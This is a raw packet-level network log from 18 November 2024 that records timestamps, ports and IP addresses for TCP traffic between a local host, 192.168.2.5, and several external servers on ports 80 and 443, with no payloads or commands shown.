Nov 18, 2024 19:04:28.441694021 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.441814899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.443339109 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.478247881 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.478266954 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.478281021 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.478513956 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.512970924 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.513008118 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.513046026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.513251066 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.513251066 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.569132090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.569575071 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.569725037 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.570188046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.570395947 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.570514917 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.574861050 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.574985027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.575026035 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.575154066 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.593545914 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.593652964 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.593780041 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:28.606185913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.606229067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.606268883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.606306076 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.606355906 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.646008015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.646020889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.646121979 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.646513939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.647021055 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.647073984 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.663780928 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:28.663834095 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.663861036 CET	49982	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:28.663872957 CET	443	49982	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:28.709342003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.709355116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.709371090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.709465981 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.715373993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.715385914 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.715395927 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.715454102 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.715502024 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.747848988 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.747863054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.747874975 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.747941971 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.780865908 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.781193018 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.781275988 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.782200098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.782253027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.782319069 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.871181011 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.871221066 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.871256113 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:28.871303082 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:28.922240973 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.003999949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.004064083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.004110098 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.005019903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005033016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005045891 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005083084 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.005249977 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005260944 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005271912 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005285025 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005291939 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.005295992 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.005335093 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.005368948 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.006046057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.006134033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.006184101 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.038649082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.038671970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.038695097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.038728952 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.056294918 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:29.056325912 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:29.056416988 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:29.056751013 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:29.056761980 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:29.079123020 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.085067034 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085081100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085093975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085118055 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.085146904 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.085196018 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085207939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085218906 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085231066 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.085231066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085272074 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.085295916 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.085428953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085441113 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085453033 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.085474014 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.085503101 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.090111971 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.090173960 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.091890097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.092020988 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.092072964 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.102303028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.102391005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.102446079 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.131890059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.132139921 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.132195950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.152122021 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.152337074 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.152390957 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.153268099 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.153373003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.153420925 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.240786076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.240811110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.240823984 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.240833998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.240845919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.240850925 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.240883112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.240935087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.241071939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.241084099 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.241101027 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.241122961 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.241178989 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.241204977 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.241218090 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.241246939 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.241261005 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.241882086 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.241935015 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.242075920 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.242111921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.318891048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318903923 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318916082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318927050 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318938971 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318948984 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318962097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318973064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.318975925 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.318984985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.319001913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.319067001 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.319067001 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.319067001 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.344033003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.344135046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.344309092 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.359839916 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.359852076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.359864950 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.359901905 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.359930038 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.359942913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.359946012 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.359977007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.359988928 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.360264063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.360275030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.360321045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.360332012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.360349894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.360352993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.360373974 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.360392094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.361113071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.361164093 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.585526943 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.585616112 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.585659981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.585686922 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.585695028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.585750103 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.585756063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.585799932 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.585807085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.585854053 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.585860014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.585895061 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.585906029 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.585925102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.585943937 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.585959911 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.585978985 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.586014032 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.585995913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.586502075 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586551905 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586555004 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586597919 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586602926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586637020 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586651087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586671114 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586678982 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586711884 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586719036 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586747885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586759090 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586781979 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586791992 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586821079 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586829901 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586863995 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.586878061 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586898088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.586908102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.586931944 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.586950064 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.586966991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.587013006 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.587095976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.587131023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.587165117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.587179899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.587281942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.587335110 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.587336063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.587369919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.587393999 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.587404013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.587423086 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.587439060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.587445021 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.587481976 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.587692022 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.587738991 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.592098951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.592161894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.592629910 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.592684984 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.592919111 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593035936 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593043089 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593086004 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593317986 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593352079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593364000 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593390942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593400002 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593436956 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593467951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593502998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593512058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593539000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593544960 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593578100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.593605995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.593626022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.594306946 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.594341040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.594371080 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.594377041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.594394922 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.594424963 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.594695091 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.594737053 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.597790003 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.597840071 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.597843885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.597879887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.597889900 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.597913980 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.597918034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.597950935 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.597958088 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.597994089 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.598422050 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.598457098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.598472118 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.598503113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.598602057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.598634005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.598656893 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.598685980 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.598686934 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.598723888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.598737955 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.598764896 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.598773003 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.598797083 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.598809958 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.598834991 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.598856926 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.600984097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.601058960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.601118088 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.602513075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.602746964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.602802992 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.603351116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.603404045 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.603458881 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.629550934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.629616022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.629620075 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.629656076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.629664898 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.629688978 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.629700899 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.629728079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.629730940 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.629757881 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.629772902 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.629798889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.674989939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.675048113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.675208092 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.675259113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.715223074 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:29.715329885 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:29.716696978 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.716757059 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.716758013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.716766119 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:29.716775894 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:29.716794968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.716804028 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.716839075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.716849089 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.716885090 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.716893911 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.716919899 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.716922998 CET	49983	80	192.168.2.5	185.215.113.16
